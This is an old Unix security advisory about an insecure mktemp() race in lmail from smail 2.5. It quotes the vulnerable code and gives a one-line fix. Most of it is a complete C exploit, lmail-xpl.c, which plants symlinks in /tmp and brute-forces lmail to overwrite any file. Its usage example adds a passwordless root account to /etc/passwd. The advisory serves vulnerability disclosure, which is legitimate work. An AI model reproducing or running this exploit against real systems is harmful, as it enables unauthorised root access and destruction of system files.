COMMAND

    lmail

SYSTEMS AFFECTED

    lmail

PROBLEM

    Charles  Stevenson  found  following.   lmail  is vulnerable to an
    insecure mktemp() race which allows a user to overwrite or  create
    a files.  Offending code (lmail.c):

        #define MAIL_TMPFILE    "/tmp/rmXXXXXX"
        
        ...
        
        static char     tempfname[] = MAIL_TMPFILE;
        
        ...
        
        if (fseek(stdin, 0L, 0) != 0) {
                mailfile = fopen(mktemp(tempfname), "w+");
        ...

    When  you  install  smail  2.5,  you  link  the original /bin/mail
    (binmail  above)  to  /bin/lmail  to  perform the task of actually
    delivering the mail to the user's mailbox (LDA).

    Since  smail  2.5  was  not  capable  of  doing  mail-to-pipe  and
    mail-to-file aliasing,  Jon Zeef  wrote a  replacement lmail  that
    implemented these (along with user mailbox delivery).

    Jon's program is okay for casual use, but has some pretty  serious
    bugs.  Fixed  versions are available,  but you're probably  better
    off waiting for smail 2.7, or installing deliver or procmail.

    /* lmail-xpl.c
     *
     * Quick hack to exploit lmail
     *
     * Simply run it with the file you want to create/overwrite
     * and the data you wish to place in the file.
     *
     * Example:
     *
     * $ gcc -g -Wall lmail-xpl.c -o lmail-xpl
     * $ ./lmail-xpl /etc/passwd owned::0:0::/root:/bin/bash
     *
     * Then login as owned... etc..
     *
     * by Charles Stevenson <core@ezlink.com>
     *
     * July 04 2001
     *
     * shoutz b10z
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
    
    #define TEMPFILE "/tmp/ez.XXXXXX"
    #define BRUTE 128
    
    void usage(char*);
    
    int main(int argc, char **argv){
       char tempfile[128] = TEMPFILE;
       int fd, i;
       pid_t pid;
       char temp[512];
    
       if (argc < 3){
          usage(argv[0]);
       }
    
       if((fd = mkstemp(tempfile))==-1){
          fprintf(stderr, "Error creating %s!\n",tempfile);
          exit(1);
       }
    
       /* begin lazy slacker coding */
       fprintf(stderr, "lmail-xpl.c by core (c) 2001\n");
       fprintf(stderr, "> backing up %s to %s\n", argv[1], tempfile);
    
       /* backup old file */
       sprintf(temp, "/bin/cp %s %s", argv[1], tempfile);
       system(temp);
    
       /* set the date/time */
       sprintf(temp, "/bin/touch -r %s %s", argv[1], tempfile);
       system(temp);
    
       pid = getpid();
    
       fprintf(stderr, "> creating a lot of symlinks\n");
    
       for (i=0;i<BRUTE;i++){
          sprintf(temp, "/tmp/lmail%d", pid+i);
          symlink(argv[1], temp);
       }
    
       sprintf(temp, "/bin/echo `perl -e 'print \"\\n\"'`%s | lmail -f\n", argv[2]);
       fprintf(stderr, "Running a few times since I'm lazy.\n");
       for (i=0;i<BRUTE;i++){
          system(temp);
          //sleep(1);
       }
    
       sprintf(temp, "/bin/ls -l %s", argv[1]);
       system(temp);
    
       fprintf(stderr, "> cleaning up\n");
       sprintf(temp, "/bin/rm -f /tmp/lmail*; /bin/rm -f /tmp/ez.*");
       system(temp);
    
       fprintf(stderr, "All done. Enjoy!\n");
       return 0;
    }
    
    void usage(char *name){
    
       fprintf(stderr, "usage: %s <filename> <data>\n", name);
       exit(1);
    }

SOLUTION

    s/mktemp/mkstemp/g (was  mkstemp even  in existence  when this was
    written?)